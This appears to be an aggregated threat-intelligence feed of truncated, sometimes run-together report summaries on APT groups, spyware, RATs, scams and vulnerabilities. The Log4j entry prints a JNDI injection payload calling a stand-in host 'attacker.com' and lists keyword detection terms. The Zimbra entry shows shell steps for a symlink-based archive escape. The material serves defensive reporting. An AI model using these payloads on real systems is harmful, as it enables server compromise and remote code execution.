2025-03-27 16:24:42 | Les hacktivistes ciblent de plus en plus la France pour ses efforts diplomatiques Hacktivists Increasingly Target France for Its Diplomatic Efforts (lien direct) |
According to a Cyble report sent to clients recently, France is increasingly becoming a target of hacktivists for its active role in international diplomacy and in ongoing conflicts in Ukraine and the Middle East.
France\'s role in those conflicts “has drawn the ire of pro-Russian and pro-Palestinian hacktivist groups,” Cyble said, as those hacktivists have found ideological alignment and a common adversary in France.
The attacks have ranged from Distributed Denial-of-Service (DDoS) attacks against French government institutions and other critical infrastructure to attacks against Industrial Control Systems (ICS), with the goal of disrupting essential services, influencing public opinion, and creating political pressure.
Hacktivist Alliance Began with \'Holy League\'
Pro-Russian and pro-Palestinian hacktivists collaborated in the December “Holy League” attacks against French infrastructure and have picked up significantly since January, although Holy League activity against France could also be seen months earlier following the arrest in France of Telegram founder and CEO Pavel Durov.

2024-12-12 20:36:12 | Lookout Discovers New Chinese Surveillance Tool Used by Public Security Bureaus (lien direct) | ## Snapshot Researchers at Lookout Threat Lab have identified a new surveillance tool called EagleMsgSpy developed by a Chinese software company. ## Description Operational since at least 2017, this spyware has been used by Chinese law enforcement to extract extensive data from mobile devices. It can access third-party chat messages, call logs, device contacts, SMS messages, location data, and network activity. The tool also features screenshot and screen recording capabilities. According to Lookout\'s analysis, EagleMsgSpy includes two key components: an installer APK and a surveillance payload that operates in the background, concealing its activities from the victim. The source code reveals functions that differentiate between device platforms, suggesting the existence of both Android and iOS versions. However, researchers note that physical access to the target device is required to initiate surveillance and EagleMsgSpy has not been found on Google Play or other app stores. Lookout further reports that domain infrastructure linked to EagleMsgSpy overlaps with those associated with public security bureaus in mainland China. This connection indicates widespread use of the tool within the region. Additionally, EagleMsgSpy shares ties with other Chinese surveillance apps, such as PluginPhantom and CarbonSteal, suggesting its role in a broader ecosystem of state-sponsored surveillance targeting various groups in China. ## Microsoft Analysis and Additional OSINT Context Chinese cyber threat actors have been [widely reported](https://www.bloomberg.com/news/articles/2022-11-10/lookout-researchers-say-spyware-tied-to-china-is-targeting-apps-used-by-uyghurs?srnd=technology-vp&sref=E9Urfma4) to employ advanced surveillance tools to conduct targeted espionage against minority groups -- particularly the Uyghurs -- and against activists, journalists, and dissidents both within China and abroad. These tools are designed to quietly infiltrate devices, monitor communications, collect sensitive data, and allow for real-time tracking of individuals. In 2021, [Meta reported](https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/) that it disrupted a campaign by Earth Empusa which aimed to distribute [PluginPhantom](https://unit42.paloaltonetworks.com/unit42-pluginphantom-new-android-trojan-abuses-droidplugin-framework/) and [ActionSpy](https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html) to target Uyghurs living in China and abroad in Turkey, Kazakhstan, the United States, Syria, Australia, and Canada, among other countries. Earlier this year, Lookout Threat Lab detailed [BadBazaar](https://www.lookout.com/threat-intelligence/article/badbazaar-surveillanceware-apt15), a surveillance tool attributed to APT15, tracked by Microsoft as [Nylon Typhoon](https://security.microsoft.com/intel-profiles/6c01b907db21988312af12a7569e4b53eaaeffe1c82c5acd622972735b5c95dc), used to target Tibetan and Uyghur minorities in China. At least one variant of the tool, masquerading as an app called "TibetOne" was distributed via Telegram in a channel named, "tibetanphone." ## Recommendations Microsoft recommends the following mitigations to reduce the impact of this threat. - Only install apps from trusted sources and official stores, like the Google Play Store and Apple App Store. - Never click on unknown links received through ads, SMS messages, emails, or similar untrusted sources.

2024-11-19 21:54:53 | Spot the Difference: Earth Kasha\'s New LODEINFO Campaign And The Correlation Analysis With The APT10 Umbrella (lien direct) | #### Targeted Geolocations - Japan - India - Taiwan #### Targeted Industries - Government Agencies & Services - Information Technology - Transportation Systems - Aviation - Education ## Snapshot Trend Micro has released a report detailing the activities of Earth Kasha, a cyberespionage group known for leveraging the LODEINFO malware, primarily targeting entities in Japan. While some researchers suggest a connection to APT10, Trend Micro considers Earth Kasha a distinct entity within the "APT10 Umbrella," a term denoting groups linked to APT10\'s operational methods. This distinction arises from shared tactics and malware but insufficient direct evidence to conflate the two groups entirely. APT10 is tracked by Microsoft as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&). ## Description Since early 2023, Earth Kasha has expanded its operations beyond Japan to include high-profile targets in Taiwan and India, focusing on government agencies and advanced technology industries. Their recent campaigns exhibit a strategic evolution, using vulnerabilities in public-facing enterprise applications, such as FortiOS/FortiProxy and Array AG, to gain initial access. Post-exploitation activities emphasize persistence, lateral movement, and credential theft, deploying backdoors like LODEINFO, NOOPDOOR, and the Cobalt Strike framework. The LODEINFO malware, central to Earth Kasha\'s campaigns, has undergone continuous development, with new versions observed in recent attacks. This malware is used alongside tools like MirrorStealer, which extracts credentials from browsers and email clients, and NOOPDOOR, a sophisticated backdoor with advanced evasion techniques. These tools enable extensive data theft and infiltration of victim networks. Comparative analysis highlights overlaps between Earth Kasha and other APT10-associated campaigns, particularly in tactics like exploiting SSL-VPN vulnerabilities and abusing legitimate tools for credential harvesting. However, toolsets differ, suggesting operational independence while potentially sharing resources or operators.Trend Micro\'s medium-confidence attribution of Earth Kasha underscores its ties to the broader APT10 network but stops short of confirming direct control. The group\'s distinct operational focus and adaptive methods indicate a specialized role within this cyber threat ecosystem. These findings highlight the complexity of attribution in modern cyber warfare and the evolving capabilities of threat actors like Earth Kasha. ## Microsoft Analysis and Additional OSINT Context The threat actor Microsoft tracks as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&) is a long-running, targeted activity group which has had success in compromising targets from as early as 2009. This activity group has targeted various government entities and industry sectors such as engineering, critical manufacturing, communications infrastructure, and defense. Most of its activity has been spread across a wide geographic area; however, localized targeting using specific malware families has been observed, which suggests possible subgroups are contained within the wider Purple Typhoon group. ## Recommendations Microsoft recommends the following mitigations to reduce the impact of this threat. - Turn on [cloud-delivered protection](https://learn.microsoft.com/en-us/defender-endpoint/linux-preferences) in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques.

2024-10-25 10:30:02 | The Windows Registry Adventure # 4: Hives and the Registry Mayout The Windows Registry Adventure #4: Hives and the registry layout (lien direct) |
Posted by Mateusz Jurczyk, Google Project Zero
To a normal user or even a Win32 application developer, the registry layout may seem simple: there are five root keys that we know from Regedit (abbreviated as HKCR, HKLM, HKCU, HKU and HKCC), and each of them contains a nested tree structure that serves a specific role in the system. But as one tries to dig deeper and understand how the registry really works internally, things may get confusing really fast. What are hives? How do they map or relate to the top-level keys? Why are some HKEY root keys pointing inside of other root keys (e.g. HKCU being located under HKU)? These are all valid questions, but they are difficult to answer without fully understanding the interactions between the user-mode Registry API and the kernel-mode registry interface, so let\'s start there.The high-level view
A simplified diagram of the execution flow taken when an application creates a registry key is shown below:
In this example, Application.exe is a desktop program calling the documented RegCreateKeyEx function, which is exported by KernelBase.dll. The KernelBase.dll library implements RegCreateKeyEx by translating the high-level API parameters passed by the caller (paths, flags, etc.) to internal ones understood by the kernel. It then invokes the NtCreateKey system call through a thin wrapper provided by ntdll.dll, and the execution finally reaches the Windows kernel, where all of the actual work on the internal registry representation is performed.

## Snapshot Cybereason Security Services Team uncovered sophisticated capabilities of the Cuckoo Spear tools, NOOPLDR and NOOPDOOR. ## Description NOOPLDR variants, including NOOPLDR-DLL and NOOPLDR-C#, establish persistence by registering as services and injecting shellcode into system processes. NOOPLDR-DLL uses code obfuscation, dynamic custom syscalls, and modified legitimate DLLs to evade detection, while NOOPLDR-C# employs heavy obfuscation, time stomping, and executes C# code from XML files using msbuild.exe. Both loaders retrieve and decrypt shellcode from the registry or a .dat file, using AES encryption with keys derived from the machine\'s unique identifiers. NOOPDOOR malware, associated with NOOPLDR, has client and server components designed for stealth and persistence. The client-side features API hashing, anti-debugging, a domain generation algorithm (DGA), and a custom TCP protocol for data exfiltration. The server-side is capable of modifying firewall rules and executing commands for network pivoting. The campaign has ties to the well-known APT10 group, showing clear links between multiple incidents while revealing new tools and strategies employed by the attackers. Cuckoo Spear mainly targeted Japanese companies in the manufacturing, political, and industrial sectors, with cyber espionage as its primary goal. ## Microsoft Analysis Researchers at Cybereason assess the threat actor to be APT10. Microsoft tracks APT10 as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745) Purple Typhoon (POTASSIUM), the activity group also known as APT 10, Stone Panda, Cloud Hopper, Red Apollo, or menuPass, has been reported to be responsible for global intrusion campaigns from 2006. These campaigns aimed to steal intellectual property and confidential business information from defense contractors and government agencies in the United States. The group was also observed launching attacks against a diverse set of other verticals, including communications, energy, space aviation. Notably, the group targeted managed service providers (MSPs) with presence in Brazil, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland, United Arab Emirates, and the United Kingdom. Compromising MSPs provided Purple Typhoon a launchpad for infiltrating organizations whose IT infrastructures and/or end-user systems are managed by these MSPs. Known to initially compromise targets via spear-phishing emails that deliver malicious payloads in the form of remote access trojans (RATs), the group steals administrator credentials to move laterally across target systems, maintain persistence, and exfiltrate high-value information. The malicious payloads typically utilized by Purple Typhoon include three main RATs called REDLEAVES, UPPERCUT and CHCHES. On December 17, 2018, the US government indicted two members of Purple Typhoon. On January 2, 2019, the Federal Bureau of Investigation shared indicators of compromise (IOCs) to aid in customer protection. Using these IOCs, which the security community further corroborated, along with Microsoft\'s own IOCs and telemetry, we have put in place enhanced detection mechanisms that can help guard against possible attacks coming from this group. ## Recommendations Apply these mitigations to reduce the impact of this threat. - Apply security updates to vulnerable VPN solutions. - Require multi-factor authentication (MFA) for local device access, RDP access, and remote connections through VPN. Use password-less solutions like [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/).

Written by: Michael Raggi
Mandiant Intelligence is tracking a growing trend among China-nexus cyber espionage operations where advanced persistent threat (APT) actors utilize proxy networks known as “ORB networks” (operational relay box networks) to gain an advantage when conducting espionage operations. ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations. By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities. These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks. Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise\'s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape. IOC Extinction and the Rise of ORB Networks The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors: ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People\'s Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries.

The content of this post is solely the responsibility of the author. AT&T does not adopt or endorse any of the views, positions, or information provided by the author in this article.
Introduction:
The landscape of cybercrime continues to evolve, and cybercriminals are constantly seeking new methods to compromise software projects and systems. In a disconcerting development, cybercriminals are now capitalizing on AI-generated unpublished package names also known as “AI-Hallucinated packages” to publish malicious packages under commonly hallucinated package names. It should be noted that artificial hallucination is not a new phenomenon as discussed in [3]. This article sheds light on this emerging threat, wherein unsuspecting developers inadvertently introduce malicious packages into their projects through the code generated by AI.
AI-hallucinations:
Artificial intelligence (AI) hallucinations, as described [2], refer to confident responses generated by AI systems that lack justification based on their training data. Similar to human psychological hallucinations, AI hallucinations involve the AI system providing information or responses that are not supported by the available data. However, in the context of AI, hallucinations are associated with unjustified responses or beliefs rather than false percepts. This phenomenon gained attention around 2022 with the introduction of large language models like ChatGPT, where users observed instances of seemingly random but plausible-sounding falsehoods being generated. By 2023, it was acknowledged that frequent hallucinations in AI systems posed a significant challenge for the field of language models.
The exploitative process:
Cybercriminals begin by deliberately publishing malicious packages under commonly hallucinated names produced by large language machines (LLMs) such as ChatGPT within trusted repositories. These package names closely resemble legitimate and widely used libraries or utilities, such as the legitimate package ‘arangojs’ vs the hallucinated package ‘arangodb’ as shown in the research done by Vulcan [1].
The trap unfolds:
When developers, unaware of the malicious intent, utilize AI-based tools or large language models (LLMs) to generate code snippets for their projects, they inadvertently can fall into a trap. The AI-generated code snippets can include imaginary unpublished libraries, enabling cybercriminals to publish commonly used AI-generated imaginary package names. As a result, developers unknowingly import malicious packages into their projects, introducing vulnerabilities, backdoors, or other malicious functionalities that compromise the security and integrity of the software and possibly other projects.
Implications for developers:
The exploitation of AI-generated hallucinated package names poses significant risks to developers and their projects. Here are some key implications:
Trusting familiar package names: Developers commonly rely on package names they recognize to introduce code snippets into their projects. The presence of malicious packages under commonly hallucinated names makes it increasingly difficult to distinguish between legitimate and malicious options when relying on the trust from AI generated code.

[Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams
The U.S. Federal Trade Commission (FTC) has published a data spotlight outlining the most common text message scams. Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says.
These are the top five text scams reported by the FTC:
Copycat bank fraud prevention alerts
Bogus "gifts" that can cost you
Fake package delivery problems
Phony job offers
Not-really-from-Amazon security alerts
"People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers.
"What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft."
Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery.
"The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'"
Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says.
"Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone."
Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money. "People may get what looks like a message from \'Amazon,\' asking to verify a big-ticket order they didn\'t place," the FTC says. "Concerned |

2023-05-30 22:00:00 | Rat Seroxen à vendre SeroXen RAT for sale (lien direct) |
This blog was jointly written with Alejandro Prada and Ofer Caspi.
Executive summary
SeroXen is a new Remote Access Trojan (RAT) that showed up in late 2022 and is becoming more popular in 2023. Advertised as a legitimate tool that gives access to your computers undetected, it is being sold for only $30 for a monthly license or $60 for a lifetime bundle, making it accessible.
Key takeaways:
SeroXen is a fileless RAT, performing well at evading detections on static and dynamic analysis.
The malware combines several open-source projects to improve its capabilities. It is a combination of Quasar RAT, r77-rootkit and the command line NirCmd.
Hundreds of samples have shown up since its creation, being most popular in the gaming community. It is only a matter of time before it is used to target companies instead of individual users.
Analysis
Quasar RAT is a legitimate open-source remote administration tool. It is offered on github page to provide user support or employee monitoring. It has been historically associated with malicious activity performed by threat actors, APT groups (like in this Mandiant report from 2017), or government attacks (in this report by Unit42 in 2017).
It was first released in July 2014 as “xRAT” and renamed to “Quasar” in August 2015. Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version. As an open-source RAT tool with updates 9 years after its creation, it is no surprise that it continues to be a common tool used by itself or combined with other payloads by threat actors up to this day.
In a review of the most recent samples, a new Quasar variant was observed by Alien Labs in the wild: SeroXen. This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT. They’re selling it for monthly or lifetime fee. Figure 1 contains some of the features advertised on their website.
Figure 1. SeroXen features announced on its website.
This new RAT first showed up on a Twitter account, established in September 2022. The person advertising the RAT appeared to be an English-speaking teenager. The same Twitter handle published a review of the RAT on YouTube. The video approached the review from an attacking/Red Team point of view, encouraging people to buy the tool because it is worth the money. They were claiming to be a reseller of the tool.
In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com. The RAT was distributed via a monthly license for $30 USD or a lifetime license of $60 USD. It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal.
After a few months, on the 1st of February, the YouTuber CyberSec Zaado published a video alerting the community about the capabilities of the RAT from a defensive perspective. In late February, the RAT was advertised on social media platforms such as TikTok, Twitter, YouTube, and several cracking forums, including hackforums. There were some conversations on gaming forums complaining about being infected by malware after downloading some video games. The artifacts described by the users matched with SeroXen RAT.
The threat actor updated the domain name to seroxen[.]net by the end of March. This domain name was registered on March 27th |

Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022
(published: January 19, 2023)
In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains.
Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.

Hook: a New Ermac Fork with RAT Capabilities
(published: January 19, 2023)
ThreatFabric researchers analyzed a new Android banking trojan named Hook. It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones.
Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive |

2023-01-23 20:14:17 | Blast from the Past: How Attackers Compromised Zimbra With a Patched Vulnerability (lien direct) | Last year, I worked on a vulnerability in Zimbra (CVE-2022-41352 - my AttackerKB analysis for Rapid7) that turned out to be a new(-ish) exploit path for a really old bug in cpio - CVE-2015-1194. But that was patched in 2019, so what happened? (I posted this as a tweet-thread awhile back, but I decided to flesh it out and make it into a full blog post!) cpio is an archive tool commonly used for system-level stuff (firmware images and such). It can also extract other format, like .tar, which we'll use since it's more familiar. cpio has a flag (--no-absolute-filenames), off by default, that purports to prevent writing files outside of the target directory. That's handy when, for example, extracting untrusted files with Amavis (like Zimbra does). The problem is, symbolic links can point to absolute paths, and therefore, even with --no-absolute-filenames, there was no safe way to extract an untrusted archive (outside of using a chroot environment or something similar, which they really ought to do). Much later, in 2019, the cpio team released cpio version 2.13, which includes a patch for CVE-2015-1194, with unit tests and everything. Some (not all) modern OSes include the patched version of cpio, which should be the end of the story, but it's not! I'm currently writing this on Fedora 35, so let's try exploiting it. We can confirm that the version of cpio installed with the OS is, indeed, the fixed version: ron@fedora ~ $ cpio --version cpio (GNU cpio) 2.13 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by Phil Nelson, David MacKenzie, John Oleynick, and Sergey Poznyakoff. That means that we shouldn't be able to use symlinks to write outside of the target directory, so let's create a .tar file that includes a symlink and a file written through that symlink (this is largely copied from this mailing list post: ron@fedora ~ $ mkdir cpiotest ron@fedora ~ $ cd cpiotest ron@fedora ~/cpiotest $ ln -s /tmp/ ./demo ron@fedora ~/cpiotest $ echo 'hello' > demo/imafile ron@fedora ~/cpiotest $ tar -cvf demo.tar demo demo/imafile demo demo/imafile ron@fedora ~/cpiotest $ | Tool Vulnerability | APT 17 | ★★★★ |

Hacker Pwns Uber Via Compromised VPN Account
(published: September 16, 2022)
On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker.
Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time. Review your source code for embedded credentials, especially those with administrative privileges.

Credit Card Stealer Targets PsiGate Payment Gateway Software
(published: May 25, 2022)
Sucuri Researchers have detailed their findings on a MageCart skimmer that had been discovered within the Magento payment portal. Embedded within the core_config_data table of Magento’s database, the skimmer was obfuscated and encoded with CharCode. Once deobfuscated, a JavaScript credit card stealer was revealed. The stealer is able to acquire text and fields that are submitted to the payment page, including credit card numbers and expiry dates. Once stolen, a synchronous AJAX is used to exfiltrate the data.

How the Saitama Backdoor uses DNS Tunneling
(published: May 25, 2022)
MalwareBytes Researchers have released their report detailing the process behind which the Saitama backdoor utilizes DNS tunneling to stealthy communicate with command and control (C2) infrastructure. DNS tunneling is an effective way to hide C2 communication as DNS traffic serves a vital function in modern day internet communications thus blocking DNS traffic is almost never done. Saitama formats its DNS lookups with the structure of a domain consisting of message, counter . root domain. Data is encoded utilizing a hardcoded base36 alphabet. There are four types of messages that Saitama can send using this method: Make Contact to establish communication with a C2 domain, Ask For Command to get the expected size of the payload to be delivered, Get A Command in which Saitama will make Receive requests to retrieve payloads and instructions and finally Run The Command in which Saitama runs the instructions or executes the payload and sends the results to the established C2.
Analyst Comment: Implement an effective DNS filtering system to block malicious queries. Furthermore, maintaining a whitelist of allowed applications for installation will assist in preventing malware like Saitama from being installed.

COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.

A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

2022-03-10 23:39:03 | APT41 Compromised Six U.S. State Government Networks (lien direct) | FortiGuard Labs is aware of a report that threat actor APT41 compromised at least six networks belonging to U.S. state governments between May 2021 and February 2022. To gain a foothold into the victim's network, the threat actor used a number of different attack vectors: exploiting vulnerable Internet facing web applications and directory traversal vulnerabilities, performing SQL injection, and conducting de-serialization attacks. The intent of APT41 appears to be reconnaissance, though how the stolen information is to be used has not yet been determined.Why is this Significant? This is significant because at least six U.S. state government systems were broken into and data exfiltration was performed by APT41 as recent as February 2022 In addition, a zero-day vulnerability in the USAHerds application (CVE-2021-44207) as well as Log4j (CVE-2021-44228), among others, were exploited in the attacksWhat's the Detail of the Attack?APT41 performed several different ways to break into the targeted networks.In one case, the group exploited a SQL injection vulnerability in a Internet-facing web application. In another case, a then previously unknown vulnerability (CVE-2021-44207) in USAHerds, which is a web application used by agriculture officials to manage animal disease control and prevention, livestock identification and movement. Also, APT41 reportedly started to exploit the infamous Log4j vulnerability (CVE-2021-44228) within hours of Proof-of-Concept (PoC) code becoming available. Patches for both vulnerabilities are available. Once successful in breaking into the victim's network, the threat actor performed reconnaissance and credential harvesting activities. What is APT41?APT41 is a threat actor who has been active since at least 2012. Also known as TA415, Double Dragon, Barium, GREF and WickedPanda, the group reportedly performs Chinese state-sponsored espionage activities. APT41 targets organizations in multiple countries across a wide range of industries, such as telecommunications, industrial and engineering and think tanks. In 2020, five alleged members of the group were charged by the U.S. Justice Department for hacking more than 100 companies in the United States.What are the Tools Used by APT41?APT41 is known to use the following tools:ASPXSpy - web shell backdoorBITSAdmin - PowerShell cmdlets for creating and managing file transfers.BLACKCOFFEE - backdoor that disguise its communications as benign traffic to legitimate websites certutil - command-line utility tool used for manipulating certification authority (CA) data and components.China Chopper - web shell backdoor that allows attacker to have remote access to an enterprise networkCobalt Strike - a commercial penetration testing tool, which allows users to perform a wide range of activitiesDerusbi - DLL backdoorEmpire - PowerShell post-exploitation agent, which provides a wide range of attack activities to usersgh0st RAT - Remote Access Trojan (RAT)MESSAGETAP - data mining malware Mimikatz - open-source credential dumpernjRAT - Remote Access Trojan (RAT)PlugX - Remote Access Trojan (RAT)PowerSploit - open-source, offensive security framework which allows users to perform a wide range of activitiesROCKBOOT - BootkitShadowPad - backdoorWinnti for Linux - Remote Access Trojan (RAT) for LinuxZxShell - Remote Access Trojan (RAT)Badpotato - open-source tool that allows elevate user rights towards System rightsDustPan - shellcode loader. aka StealthVectorDEADEYE - downloaderLOWKEY - backdoorKeyplug - backdoorWhat are Other Vulnerabilities Known to be Exploited by APT41?APT41 exploited the following, but not restricted to, these vulnerabilities in the past:CVE-2020-10189 (ManageEngine Desktop Central remote code execution vulnerability)CVE-2019-19781 (Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance)CVE-2019-3396 (Atlassian Confluence Widget Connector Macro Velocity Template Injection)CVE-2017-11882 (Microsoft Office Memory Corruption Vulnerability)CVE-2017-0199 (Microsoft Office/WordPad Remote Code Execut | Malware Tool Vulnerability Threat Guideline | APT 41 APT 15 APT 15 | |

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

2021-10-14 17:20:00 | Topic-specific policy 3/11: asset management (lien direct) |  This piece is different to the others in this blog series. I'm seizing the opportunity to explain the thinking behind, and the steps involved in researching and drafting, an information security policy through a worked example. This is about the policy development process, more than the asset management policy per se. One reason is that, despite having written numerous policies on other topics in the same general area, we hadn't appreciated the value of an asset management policy, as such, even allowing for the ambiguous title of the example given in the current draft of ISO/IEC 27002:2022. The standard formally but (in my opinion) misleadingly defines asset as 'anything that has value to the organization', with an unhelpful note distinguishing primary from supporting assets. By literal substitution, 'anything that has value to the organization management' is the third example information security policy topic in section 5.1 ... but what does that actually mean?Hmmmm. Isn't it tautologous? Does anything not of value even require management? Is the final word in 'anything that has value to the organization management' a noun or verb i.e. does the policy concern the management of organizational assets, or is it about securing organizational assets that are valuable to its managers; or both, or something else entirely? Well, OK 